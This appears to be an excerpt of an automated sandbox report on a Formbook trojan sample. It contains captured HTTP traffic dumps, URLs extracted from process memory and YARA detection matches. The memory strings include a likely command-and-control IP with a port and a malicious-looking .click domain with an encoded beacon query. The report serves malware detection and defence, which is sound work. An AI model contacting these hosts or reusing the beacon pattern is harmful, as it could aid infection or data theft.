Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginxDate: Mon, 30 Sep 2024 16:45:36 GMTContent-Type: text/htmlTransfer-Encoding: chunkedConnection: closeVary: Accept-EncodingContent-Encoding: gzipData Raw: 61 37 0d 0a 1f 8b 08 00 00 00 00 00 00 03 ed 8e 4d 0a c2 30 10 85 f7 82 77 18 0f 10 a2 d0 e5 90 8d 28 b8 d0 8d 27 48 9d 31 09 a4 93 12 23 d8 db 9b 6a 0b e2 da a5 ab 61 de cf c7 43 5f ba 68 96 0b f4 6c c9 60 09 25 b2 69 d6 0d 9c 52 81 7d ba 0b a1 7e 8b a8 5f 91 1a 6d 13 0d e3 bd b0 14 ce 06 fd e6 bb 51 15 d4 93 3d b2 6b 68 fa c4 05 79 7c 7a 7a a6 e9 79 c9 4a 29 b0 d0 5b a2 20 0e 4a 02 0a 37 db 46 86 e3 f9 b0 03 2b 04 5b 9f 53 c7 70 cd 81 85 e2 00 9c 73 ca b5 e1 18 94 fa 23 7e 8d 78 02 27 a7 bf a8 24 02 00 00 0d 0a 30 0d 0a 0d 0a Data Ascii: a7M0w('H1#jaC_hl`%iR}~_mQ=khy\|zzyJ)[ J7F+[Sps#~x'$0
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginxDate: Mon, 30 Sep 2024 16:45:38 GMTContent-Type: text/htmlTransfer-Encoding: chunkedConnection: closeVary: Accept-EncodingData Raw: 32 32 34 0d 0a 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 0d 0a 30 0d 0a 0d 0a Data Ascii: 224<html><head><title>404 Not Found</title></head><body><center><h1>404 Not Found</h1></center><hr><center>nginx</center></body></html><!-- a padding to disable MSIE and Chrome friendly error page --><!-- a padding to disable MSIE and Chrome friendly error page --><!-- a padding to disable MSIE and Chrome friendly error page --><!-- a padding to disable MSIE and Chrome friendly error page --><!-- a padding to disable MSIE and Chrome friendly error page --><!-- a padding to disable MSIE and Chrome friendly error page -->0
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundDate: Mon, 30 Sep 2024 16:46:12 GMTServer: ApacheX-Frame-Options: SAMEORIGINContent-Length: 774X-XSS-Protection: 1; mode=blockConnection: closeContent-Type: text/htmlData Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0d 0a 3c 68 74 6d 6c 20 6c 61 6e 67 3d 22 65 6e 22 3e 0d 0a 0d 0a 3c 68 65 61 64 3e 0d 0a 09 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 22 75 74 66 2d 38 22 3e 0d 0a 09 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 58 2d 55 41 2d 43 6f 6d 70 61 74 69 62 6c 65 22 20 63 6f 6e 74 65 6e 74 3d 22 49 45 3d 65 64 67 65 22 3e 0d 0a 09 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 76 69 65 77 70 6f 72 74 22 20 63 6f 6e 74 65 6e 74 3d 22 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 2c 20 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 22 3e 0d 0a 0d 0a 09 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0d 0a 0d 0a 09 3c 6c 69 6e 6b 20 68 72 65 66 3d 22 68 74 74 70 73 3a 2f 2f 66 6f 6e 74 73 2e 67 6f 6f 67 6c 65 61 70 69 73 2e 63 6f 6d 2f 63 73 73 3f 66 61 6d 69 6c 79 3d 52 6f 62 6f 74 6f 3a 34 30 30 2c 37 30 30 22 20 72 65 6c 3d 22 73 74 79 6c 65 73 68 65 65 74 22 3e 0d 0a 0d 0a 09 3c 6c 69 6e 6b 20 74 79 70 65 3d 22 74 65 78 74 2f 63 73 73 22 20 72 65 6c 3d 22 73 74 79 6c 65 73 68 65 65 74 22 20 68 72 65 66 3d 22 2f 63 73 73 2f 73 74 79 6c 65 34 30 34 2e 63 73 73 22 20 2f 3e 0d 0a 0d 0a 3c 2f 68 65 61 64 3e 0d 0a 0d 0a 3c 62 6f 64 79 3e 0d 0a 0d 0a 09 3c 64 69 76 20 69 64 3d 22 6e 6f 74 66 6f 75 6e 64 22 3e 0d 0a 09 09 3c 64 69 76 20 63 6c 61 73 73 3d 22 6e 6f 74 66 6f 75 6e 64 22 3e 0d 0a 09 09 09 3c 64 69 76 20 63 6c 61 73 73 3d 22 6e 6f 74 66 6f 75 6e 64 2d 34 30 34 22 3e 0d 0a 09 09 09 09 3c 68 31 3e 34 3c 73 70 61 6e 3e 30 3c 2f 73 70 61 6e 3e 34 3c 2f 68 31 3e 0d 0a 09 09 09 3c 2f 64 69 76 3e 0d 0a 09 09 09 3c 68 32 3e 74 68 65 20 70 61 67 65 20 79 6f 75 20 72 65 71 75 65 73 74 65 64 20 63 6f 75 6c 64 20 6e 6f 74 20 66 6f 75 6e 64 3c 2f 68 32 3e 0d 0a 09 09 09 3c 66 6f 72 6d 20 63 6c 61 73 73 3d 22 6e 6f 74 66 6f 75 6e 64 2d 73 65 61 72 63 68 22 3e 0d 0a 09 09 09 09 3c 69 6e 70 75 74 20 74 79 70 65 3d 22 74 65 78 74 22 20 70 6c 61 63 65 68 6f 6c 64 65 72 3d 22 53 65 61 72 63 68 2e 2e 2e 22 3e 0d 0a 09 09 09 09 3c 62 75 74 74 6f 6e 20 74 79 70 65 3d 22 62 75 74 74 6f 6e 22 3e 3c 73 70 61 6e 3e 3c 2f 73 70 61 6e 3e 3c 2f 62 75 74 74 6f 6e 3e 0d 0a 09 09 09 3c 2f 66 6f 72 6d 3e 0d 0a 09 09 3c 2f 64 69 76 3e 0d 0a 09 3c 2f 64 69 76 3e 0d 0a 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <!DOCTYPE html><html lang="en"><head><meta charset="utf-8"><meta http-equiv="X-UA-Compatible" content="IE=edge"><meta name="viewport" content="width=device-width, initial-scale=1"><title>404 Not Found</title><link href="https://fonts.googleapis.com/css?family=Roboto:400,700" rel="stylesheet"><link type="text/css" rel="stylesheet" href="/css/style404.css" /></head><body><div id="notfound"><div class="
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundDate: Mon, 30 Sep 2024 16:46:15 GMTServer: ApacheX-Frame-Options: SAMEORIGINContent-Length: 774X-XSS-Protection: 1; mode=blockConnection: closeContent-Type: text/htmlData Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0d 0a 3c 68 74 6d 6c 20 6c 61 6e 67 3d 22 65 6e 22 3e 0d 0a 0d 0a 3c 68 65 61 64 3e 0d 0a 09 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 22 75 74 66 2d 38 22 3e 0d 0a 09 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 58 2d 55 41 2d 43 6f 6d 70 61 74 69 62 6c 65 22 20 63 6f 6e 74 65 6e 74 3d 22 49 45 3d 65 64 67 65 22 3e 0d 0a 09 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 76 69 65 77 70 6f 72 74 22 20 63 6f 6e 74 65 6e 74 3d 22 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 2c 20 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 22 3e 0d 0a 0d 0a 09 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0d 0a 0d 0a 09 3c 6c 69 6e 6b 20 68 72 65 66 3d 22 68 74 74 70 73 3a 2f 2f 66 6f 6e 74 73 2e 67 6f 6f 67 6c 65 61 70 69 73 2e 63 6f 6d 2f 63 73 73 3f 66 61 6d 69 6c 79 3d 52 6f 62 6f 74 6f 3a 34 30 30 2c 37 30 30 22 20 72 65 6c 3d 22 73 74 79 6c 65 73 68 65 65 74 22 3e 0d 0a 0d 0a 09 3c 6c 69 6e 6b 20 74 79 70 65 3d 22 74 65 78 74 2f 63 73 73 22 20 72 65 6c 3d 22 73 74 79 6c 65 73 68 65 65 74 22 20 68 72 65 66 3d 22 2f 63 73 73 2f 73 74 79 6c 65 34 30 34 2e 63 73 73 22 20 2f 3e 0d 0a 0d 0a 3c 2f 68 65 61 64 3e 0d 0a 0d 0a 3c 62 6f 64 79 3e 0d 0a 0d 0a 09 3c 64 69 76 20 69 64 3d 22 6e 6f 74 66 6f 75 6e 64 22 3e 0d 0a 09 09 3c 64 69 76 20 63 6c 61 73 73 3d 22 6e 6f 74 66 6f 75 6e 64 22 3e 0d 0a 09 09 09 3c 64 69 76 20 63 6c 61 73 73 3d 22 6e 6f 74 66 6f 75 6e 64 2d 34 30 34 22 3e 0d 0a 09 09 09 09 3c 68 31 3e 34 3c 73 70 61 6e 3e 30 3c 2f 73 70 61 6e 3e 34 3c 2f 68 31 3e 0d 0a 09 09 09 3c 2f 64 69 76 3e 0d 0a 09 09 09 3c 68 32 3e 74 68 65 20 70 61 67 65 20 79 6f 75 20 72 65 71 75 65 73 74 65 64 20 63 6f 75 6c 64 20 6e 6f 74 20 66 6f 75 6e 64 3c 2f 68 32 3e 0d 0a 09 09 09 3c 66 6f 72 6d 20 63 6c 61 73 73 3d 22 6e 6f 74 66 6f 75 6e 64 2d 73 65 61 72 63 68 22 3e 0d 0a 09 09 09 09 3c 69 6e 70 75 74 20 74 79 70 65 3d 22 74 65 78 74 22 20 70 6c 61 63 65 68 6f 6c 64 65 72 3d 22 53 65 61 72 63 68 2e 2e 2e 22 3e 0d 0a 09 09 09 09 3c 62 75 74 74 6f 6e 20 74 79 70 65 3d 22 62 75 74 74 6f 6e 22 3e 3c 73 70 61 6e 3e 3c 2f 73 70 61 6e 3e 3c 2f 62 75 74 74 6f 6e 3e 0d 0a 09 09 09 3c 2f 66 6f 72 6d 3e 0d 0a 09 09 3c 2f 64 69 76 3e 0d 0a 09 3c 2f 64 69 76 3e 0d 0a 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <!DOCTYPE html><html lang="en"><head><meta charset="utf-8"><meta http-equiv="X-UA-Compatible" content="IE=edge"><meta name="viewport" content="width=device-width, initial-scale=1"><title>404 Not Found</title><link href="https://fonts.googleapis.com/css?family=Roboto:400,700" rel="stylesheet"><link type="text/css" rel="stylesheet" href="/css/style404.css" /></head><body><div id="notfound"><div class="
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundDate: Mon, 30 Sep 2024 16:46:17 GMTServer: ApacheX-Frame-Options: SAMEORIGINContent-Length: 774X-XSS-Protection: 1; mode=blockConnection: closeContent-Type: text/htmlData Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0d 0a 3c 68 74 6d 6c 20 6c 61 6e 67 3d 22 65 6e 22 3e 0d 0a 0d 0a 3c 68 65 61 64 3e 0d 0a 09 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 22 75 74 66 2d 38 22 3e 0d 0a 09 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 58 2d 55 41 2d 43 6f 6d 70 61 74 69 62 6c 65 22 20 63 6f 6e 74 65 6e 74 3d 22 49 45 3d 65 64 67 65 22 3e 0d 0a 09 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 76 69 65 77 70 6f 72 74 22 20 63 6f 6e 74 65 6e 74 3d 22 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 2c 20 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 22 3e 0d 0a 0d 0a 09 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0d 0a 0d 0a 09 3c 6c 69 6e 6b 20 68 72 65 66 3d 22 68 74 74 70 73 3a 2f 2f 66 6f 6e 74 73 2e 67 6f 6f 67 6c 65 61 70 69 73 2e 63 6f 6d 2f 63 73 73 3f 66 61 6d 69 6c 79 3d 52 6f 62 6f 74 6f 3a 34 30 30 2c 37 30 30 22 20 72 65 6c 3d 22 73 74 79 6c 65 73 68 65 65 74 22 3e 0d 0a 0d 0a 09 3c 6c 69 6e 6b 20 74 79 70 65 3d 22 74 65 78 74 2f 63 73 73 22 20 72 65 6c 3d 22 73 74 79 6c 65 73 68 65 65 74 22 20 68 72 65 66 3d 22 2f 63 73 73 2f 73 74 79 6c 65 34 30 34 2e 63 73 73 22 20 2f 3e 0d 0a 0d 0a 3c 2f 68 65 61 64 3e 0d 0a 0d 0a 3c 62 6f 64 79 3e 0d 0a 0d 0a 09 3c 64 69 76 20 69 64 3d 22 6e 6f 74 66 6f 75 6e 64 22 3e 0d 0a 09 09 3c 64 69 76 20 63 6c 61 73 73 3d 22 6e 6f 74 66 6f 75 6e 64 22 3e 0d 0a 09 09 09 3c 64 69 76 20 63 6c 61 73 73 3d 22 6e 6f 74 66 6f 75 6e 64 2d 34 30 34 22 3e 0d 0a 09 09 09 09 3c 68 31 3e 34 3c 73 70 61 6e 3e 30 3c 2f 73 70 61 6e 3e 34 3c 2f 68 31 3e 0d 0a 09 09 09 3c 2f 64 69 76 3e 0d 0a 09 09 09 3c 68 32 3e 74 68 65 20 70 61 67 65 20 79 6f 75 20 72 65 71 75 65 73 74 65 64 20 63 6f 75 6c 64 20 6e 6f 74 20 66 6f 75 6e 64 3c 2f 68 32 3e 0d 0a 09 09 09 3c 66 6f 72 6d 20 63 6c 61 73 73 3d 22 6e 6f 74 66 6f 75 6e 64 2d 73 65 61 72 63 68 22 3e 0d 0a 09 09 09 09 3c 69 6e 70 75 74 20 74 79 70 65 3d 22 74 65 78 74 22 20 70 6c 61 63 65 68 6f 6c 64 65 72 3d 22 53 65 61 72 63 68 2e 2e 2e 22 3e 0d 0a 09 09 09 09 3c 62 75 74 74 6f 6e 20 74 79 70 65 3d 22 62 75 74 74 6f 6e 22 3e 3c 73 70 61 6e 3e 3c 2f 73 70 61 6e 3e 3c 2f 62 75 74 74 6f 6e 3e 0d 0a 09 09 09 3c 2f 66 6f 72 6d 3e 0d 0a 09 09 3c 2f 64 69 76 3e 0d 0a 09 3c 2f 64 69 76 3e 0d 0a 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <!DOCTYPE html><html lang="en"><head><meta charset="utf-8"><meta http-equiv="X-UA-Compatible" content="IE=edge"><meta name="viewport" content="width=device-width, initial-scale=1"><title>404 Not Found</title><link href="https://fonts.googleapis.com/css?family=Roboto:400,700" rel="stylesheet"><link type="text/css" rel="stylesheet" href="/css/style404.css" /></head><body><div id="notfound"><div class="
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundDate: Mon, 30 Sep 2024 16:46:20 GMTServer: ApacheX-Frame-Options: SAMEORIGINContent-Length: 774X-XSS-Protection: 1; mode=blockConnection: closeContent-Type: text/html; charset=utf-8Data Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0d 0a 3c 68 74 6d 6c 20 6c 61 6e 67 3d 22 65 6e 22 3e 0d 0a 0d 0a 3c 68 65 61 64 3e 0d 0a 09 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 22 75 74 66 2d 38 22 3e 0d 0a 09 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 58 2d 55 41 2d 43 6f 6d 70 61 74 69 62 6c 65 22 20 63 6f 6e 74 65 6e 74 3d 22 49 45 3d 65 64 67 65 22 3e 0d 0a 09 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 76 69 65 77 70 6f 72 74 22 20 63 6f 6e 74 65 6e 74 3d 22 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 2c 20 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 22 3e 0d 0a 0d 0a 09 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0d 0a 0d 0a 09 3c 6c 69 6e 6b 20 68 72 65 66 3d 22 68 74 74 70 73 3a 2f 2f 66 6f 6e 74 73 2e 67 6f 6f 67 6c 65 61 70 69 73 2e 63 6f 6d 2f 63 73 73 3f 66 61 6d 69 6c 79 3d 52 6f 62 6f 74 6f 3a 34 30 30 2c 37 30 30 22 20 72 65 6c 3d 22 73 74 79 6c 65 73 68 65 65 74 22 3e 0d 0a 0d 0a 09 3c 6c 69 6e 6b 20 74 79 70 65 3d 22 74 65 78 74 2f 63 73 73 22 20 72 65 6c 3d 22 73 74 79 6c 65 73 68 65 65 74 22 20 68 72 65 66 3d 22 2f 63 73 73 2f 73 74 79 6c 65 34 30 34 2e 63 73 73 22 20 2f 3e 0d 0a 0d 0a 3c 2f 68 65 61 64 3e 0d 0a 0d 0a 3c 62 6f 64 79 3e 0d 0a 0d 0a 09 3c 64 69 76 20 69 64 3d 22 6e 6f 74 66 6f 75 6e 64 22 3e 0d 0a 09 09 3c 64 69 76 20 63 6c 61 73 73 3d 22 6e 6f 74 66 6f 75 6e 64 22 3e 0d 0a 09 09 09 3c 64 69 76 20 63 6c 61 73 73 3d 22 6e 6f 74 66 6f 75 6e 64 2d 34 30 34 22 3e 0d 0a 09 09 09 09 3c 68 31 3e 34 3c 73 70 61 6e 3e 30 3c 2f 73 70 61 6e 3e 34 3c 2f 68 31 3e 0d 0a 09 09 09 3c 2f 64 69 76 3e 0d 0a 09 09 09 3c 68 32 3e 74 68 65 20 70 61 67 65 20 79 6f 75 20 72 65 71 75 65 73 74 65 64 20 63 6f 75 6c 64 20 6e 6f 74 20 66 6f 75 6e 64 3c 2f 68 32 3e 0d 0a 09 09 09 3c 66 6f 72 6d 20 63 6c 61 73 73 3d 22 6e 6f 74 66 6f 75 6e 64 2d 73 65 61 72 63 68 22 3e 0d 0a 09 09 09 09 3c 69 6e 70 75 74 20 74 79 70 65 3d 22 74 65 78 74 22 20 70 6c 61 63 65 68 6f 6c 64 65 72 3d 22 53 65 61 72 63 68 2e 2e 2e 22 3e 0d 0a 09 09 09 09 3c 62 75 74 74 6f 6e 20 74 79 70 65 3d 22 62 75 74 74 6f 6e 22 3e 3c 73 70 61 6e 3e 3c 2f 73 70 61 6e 3e 3c 2f 62 75 74 74 6f 6e 3e 0d 0a 09 09 09 3c 2f 66 6f 72 6d 3e 0d 0a 09 09 3c 2f 64 69 76 3e 0d 0a 09 3c 2f 64 69 76 3e 0d 0a 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <!DOCTYPE html><html lang="en"><head><meta charset="utf-8"><meta http-equiv="X-UA-Compatible" content="IE=edge"><meta name="viewport" content="width=device-width, initial-scale=1"><title>404 Not Found</title><link href="https://fonts.googleapis.com/css?family=Roboto:400,700" rel="stylesheet"><link type="text/css" rel="stylesheet" href="/css/style404.css" /></head><body><div id="notfound">

Source: notepad.exe, 00000005.00000002.3885110150.0000000005B6A000.00000004.10000000.00040000.00000000.sdmp, notepad.exe, 00000005.00000002.3886877799.0000000007A00000.00000004.00000800.00020000.00000000.sdmp, HAdkDWMZRiGMZe.exe, 00000006.00000002.3884241981.000000000395A000.00000004.00000001.00040000.00000000.sdmp	String found in binary or memory: http://156.226.108.98:58888/
Source: HAdkDWMZRiGMZe.exe, 00000006.00000002.3886044229.0000000005581000.00000040.80000000.00040000.00000000.sdmp	String found in binary or memory: http://www.bayarcepat19.click
Source: HAdkDWMZRiGMZe.exe, 00000006.00000002.3886044229.0000000005581000.00000040.80000000.00040000.00000000.sdmp	String found in binary or memory: http://www.bayarcepat19.click/5hcm/
Source: notepad.exe, 00000005.00000002.3887050160.0000000007D2E000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://ac.ecosia.org/autocomplete?q=
Source: notepad.exe, 00000005.00000002.3887050160.0000000007D2E000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://cdn.ecosia.org/assets/images/ico/favicon.icohttps://www.ecosia.org/search?q=
Source: notepad.exe, 00000005.00000002.3887050160.0000000007D2E000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://ch.search.yahoo.com/favicon.icohttps://ch.search.yahoo.com/search
Source: notepad.exe, 00000005.00000002.3887050160.0000000007D2E000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://ch.search.yahoo.com/sugg/chrome?output=fxjson&appid=crmas&command=
Source: notepad.exe, 00000005.00000002.3887050160.0000000007D2E000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://duckduckgo.com/ac/?q=
Source: notepad.exe, 00000005.00000002.3887050160.0000000007D2E000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://duckduckgo.com/chrome_newtab
Source: notepad.exe, 00000005.00000002.3887050160.0000000007D2E000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://duckduckgo.com/favicon.icohttps://duckduckgo.com/?q=
Source: notepad.exe, 00000005.00000002.3885110150.00000000061B2000.00000004.10000000.00040000.00000000.sdmp, HAdkDWMZRiGMZe.exe, 00000006.00000002.3884241981.0000000003FA2000.00000004.00000001.00040000.00000000.sdmp	String found in binary or memory: https://fonts.googleapis.com/css?family=Roboto:400
Source: notepad.exe, 00000005.00000002.3882543699.0000000002E91000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://login.live.com/oauth20_authorize.srf?client_id=00000000480728C5&scope=service::ssl.live.com:
Source: notepad.exe, 00000005.00000002.3882543699.0000000002E91000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://login.live.com/oauth20_authorize.srfclient_id=00000000480728C5&scope=service::ssl.live.com::
Source: notepad.exe, 00000005.00000002.3882543699.0000000002E91000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://login.live.com/oauth20_desktop.srf?lc=1033
Source: notepad.exe, 00000005.00000002.3882543699.0000000002E91000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://login.live.com/oauth20_desktop.srflc=1033
Source: notepad.exe, 00000005.00000002.3882543699.0000000002E91000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://login.live.com/oauth20_logout.srf?client_id=00000000480728C5&redirect_uri=https://login.live
Source: notepad.exe, 00000005.00000002.3882543699.0000000002E91000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://login.live.com/oauth20_logout.srfclient_id=00000000480728C5&redirect_uri=https://login.live.
Source: notepad.exe, 00000005.00000003.2526507791.0000000007D05000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://login.live.com/oauth20_logout.srfhttps://login.live.com/oauth20_authorize.srfhttps://login.l
Source: notepad.exe, 00000005.00000002.3885110150.00000000064D6000.00000004.10000000.00040000.00000000.sdmp, HAdkDWMZRiGMZe.exe, 00000006.00000002.3884241981.00000000042C6000.00000004.00000001.00040000.00000000.sdmp	String found in binary or memory: https://www.bayarcepat19.click/5hcm/?gHCXmDU=tP3kAkfnE7i1YCC3akJDPtDOQtMjgFa5K3aSOloco8KmCG1xGxL66P/
Source: notepad.exe, 00000005.00000002.3887050160.0000000007D2E000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://www.ecosia.org/newtab/

E-Banking Fraud

Malicious sample detected (through community Yara rule)

Source: Yara match	File source: 2.2.svchost.exe.400000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 2.2.svchost.exe.400000.0.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 00000005.00000002.3882344624.0000000002B80000.00000040.80000000.00040000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000004.00000002.3883839683.0000000005350000.00000040.00000001.00040000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000002.00000002.2343330383.0000000000400000.00000040.80000000.00040000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000006.00000002.3886044229.00000000054F0000.00000040.80000000.00040000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000002.00000002.2343906085.0000000006650000.00000040.10000000.00040000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000005.00000002.3883738653.0000000004A30000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000002.00000002.2343594491.0000000003790000.00000040.10000000.00040000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000005.00000002.3883798608.0000000004A80000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY

System Summary

Source: 2.2.svchost.exe.400000.0.unpack, type: UNPACKEDPE	Matched rule: Windows_Trojan_Formbook_1112e116 Author: unknown
Source: 2.2.svchost.exe.400000.0.raw.unpack, type: UNPACKEDPE	Matched rule: Windows_Trojan_Formbook_1112e116 Author: unknown
Source: 00000005.00000002.3882344624.0000000002B80000.00000040.80000000.00040000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_Formbook_1112e116 Author: unknown
Source: 00000004.00000002.3883839683.0000000005350000.00000040.00000001.00040000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_Formbook_1112e116 Author: unknown
Source: 00000002.00000002.2343330383.0000000000400000.00000040.80000000.00040000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_Formbook_1112e116 Author: unknown
Source: 00000006.00000002.3886044229.00000000054F0000.00000040.80000000.00040000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_Formbook_1112e116 Author: unknown
Source: 00000002.00000002.2343906085.0000000006650000.00000040.10000000.00040000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_Formbook_1112e116 Author: unknown
Source: 00000005.00000002.3883738653.0000000004A30000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_Formbook_1112e116 Author: unknown
Source: 00000002.00000002.2343594491.0000000003790000.00000040.10000000.00040000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_Formbook_1112e116 Author: unknown
Source: 00000005.00000002.3883798608.0000000004A80000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_Formbook_1112e116 Author: unknown

Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_0042C753 NtClose,	2_2_0042C753
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03A735C0 NtCreateMutant,LdrInitializeThunk,	2_2_03A735C0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03A72B60 NtClose,LdrInitializeThunk,	2_2_03A72B60
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03A72DF0 NtQuerySystemInformation,LdrInitializeThunk,	2_2_03A72DF0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03A74340 NtSetContextThread,	2_2_03A74340
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03A73090 NtSetValueKey,	2_2_03A73090
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03A73010 NtOpenDirectoryObject,	2_2_03A73010
